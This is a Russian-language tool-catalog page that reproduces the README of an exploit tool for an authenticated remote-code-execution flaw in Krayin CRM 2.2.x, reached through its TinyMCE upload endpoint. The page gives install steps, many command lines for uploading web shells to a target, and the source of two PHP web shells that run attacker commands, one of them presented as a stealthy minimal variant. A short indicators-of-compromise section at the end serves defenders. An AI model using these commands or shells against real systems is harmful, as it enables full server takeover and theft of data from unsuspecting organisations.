Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
KrayinCRM-RCE-Exploit-CVE-2026-38526 — CVE-2026-38526 эксплойт для Krayin CRM v2.2.x - Аутентифицированное RCE через обход загрузки файлов TinyMCE. Включает интерактивную оболочку, полезные нагрузки различных типов, автоматическую генерацию оболочки и верификацию. Автор: Sudeepa Wanigarathna. Только для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/cerberusmrxi/krayincrm-rce-exploit-cve-2026-38526
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingГенерация Шеллкода
GitHub
cerberusmrxi/krayincrm-rce-exploit-cve-2026-38526

KrayinCRM-RCE-Exploit-CVE-2026-38526

Репозиторий
3313 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

CVE-2026-38526 эксплойт для Krayin CRM v2.2.x - Аутентифицированное RCE через обход загрузки файлов TinyMCE. Включает интерактивную оболочку, полезные нагрузки различных типов, автоматическую генерацию оболочки и верификацию. Автор: Sudeepa Wanigarathna. Только для авторизованного тестирования.

Поделиться

🔓 Krayin CRM v2.2.x — Эксплуатация аутентифицированного удаленного выполнения кода

License: MIT CVE-2026-38526

⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ — несанкционированное использование незаконно и неэтично.

📋 Обзор

Этот эксплойт демонстрирует критическую уязвимость аутентифицированного удаленного выполнения кода (RCE), обнаруженную в Krayin CRM версии 2.2.x. Уязвимость существует в функционале загрузки файлов TinyMCE, который позволяет аутентифицированным администраторам загружать и выполнять произвольный PHP-код на сервере.

СвойствоЗначение
CVE IDCVE-2026-38526
Затронутое ПОKrayin CRM v2.2.x
Тип уязвимостиАутентифицированное удаленное выполнение кода (RCE)
Требуется аутентификацияДа (доступ уровня администратора)
ВоздействиеПолная компрометация системы
Оценка CVSS8.8 (Высокий)

🚨 Детали уязвимости

Уязвимость возникает из-за недостаточной проверки типа файла в конечной точке загрузки TinyMCE (/admin/tinymce/upload). Аутентифицированный администратор может:

  • Загрузить PHP-файл, замаскированный под MIME-тип изображения.
  • Файл сохраняется в доступном через веб местоположении.
  • Затем злоумышленник может выполнить произвольный PHP-код на сервере.

Затронутые версии

  • Krayin CRM 2.2.0
  • Krayin CRM 2.2.1
  • Krayin CRM 2.2.2
  • Все версии 2.2.x до выпуска патча

✨ Возможности

  • Несколько типов оболочек: Базовая, Расширенная, Минимальная, Файловый менеджер и Пользовательская.
  • Интерактивная оболочка: Полноценный интерфейс, подобный терминалу, с историей команд.
  • Загрузка файлов: Загрузка дополнительных файлов через оболочку.
  • Извлечение CSRF-токена: Автоматическая обработка защиты CSRF.
  • Поддержка прокси: Маршрутизация трафика через HTTP/HTTPS прокси.
  • Гибкие форматы вывода: Текст, JSON или Тихий режим.
  • Логика повторных попыток: Автоматические повторные попытки при сбоях соединения.
  • Пользовательские заголовки: Поддержка произвольных HTTP-заголовков.
  • Подробный режим: Детальный отладочный вывод.
  • Поддержка SSL: Опциональная проверка SSL-сертификатов.

📦 Установка

Требования

  • bash
  • Python 3.7+
  • pip install httpx beautifulsoup4 colorama

Быстрая установка

git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

Файл требований (requirements.txt)

httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 Использование

Основной синтаксис команды

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [ОПЦИИ]

Обязательные параметры

ПараметрОписание
-t, --targetURL цели (например, http://192.168.1.100)
-u, --usernameИмя администратора или email
-p, --passwordПароль администратора

Примеры распространённого использования

# Базовая эксплуатация со сгенерированной оболочкой
python3 exploit.py -t http://target.com -u [email protected] -p password

# Загрузка пользовательского PHP-файла оболочки
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Генерация расширенной оболочки с интерактивным режимом
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Генерация файла оболочки без эксплуатации
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Использование с прокси для тестирования/отладки
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# Вывод JSON для автоматизации
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Подробный режим с пользовательским таймаутом
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# Пользовательский User-Agent и заголовки
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Типы оболочек

  1. Базовая оболочка (basic) Простое выполнение команд с помощью функции system().

    <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
    
  2. Расширенная оболочка (advanced) Функционально богатая оболочка с:

    • Несколькими методами выполнения команд
    • Красивым веб-интерфейсом, напоминающим терминал
    • Поддержкой истории команд
    • Отображением текущего пользователя и имени хоста
  3. Минимальная оболочка (minimal) Минимальный след для скрытности.

    <?php system($_GET["cmd"]); ?>
    
  4. Файловый менеджер (file_manager) Полноценный интерфейс управления файлами:

    • Загрузка файлов
    • Удаление файлов
    • Создание каталогов
    • Навигация
    • Просмотр прав доступа к файлам
  5. Пользовательская оболочка (custom) Используйте собственный PHP-файл оболочки с параметром -f.

📝 Форматы вывода

Текстовый формат (по умолчанию)

Человекочитаемый цветной вывод, подходящий для интерактивного использования.

Формат JSON (-o json)

Машиночитаемый формат для автоматизации и интеграции.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Тихий формат (-q, --quiet)

Нет вывода, кроме ошибок. Полезен для пакетной обработки.

⚙️ Дополнительные опции

ОпцияОписаниеПо умолчанию
--timeoutТаймаут запроса в секундах30
--retryКоличество повторных попыток3
--retry-delayЗадержка между повторными попытками в секундах2
--user-agentПользовательская строка User-AgentБраузерный UA по умолчанию
--headerПользовательские HTTP-заголовки (Ключ: Значение)Нет
--verify-sslПроверять SSL-сертификатыFalse
--proxyURL HTTP/HTTPS проксиНет
-v, --verboseВключить отладочный выводFalse
-q, --quietПодавить весь выводFalse

Пример пользовательских заголовков

--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 Обнаружение и предотвращение

Признаки компрометации (IoC)

  • Файлы для мониторинга:

    • Необычные PHP-файлы в public/storage/upload/
    • Файлы с двойными расширениями (например, image.php.jpg)
    • Новые файлы с подозрительными именами
  • Логи для проверки:

    • POST-запросы к /admin/tinymce/upload
    • Необычное время входа администраторов
    • Неудачные попытки аутентификации
  • Системные индикаторы:

    • Неожиданные запущенные процессы
    • Новые задачи cron
    • Изменённые системные файлы

Меры предотвращения

Скачать инструмент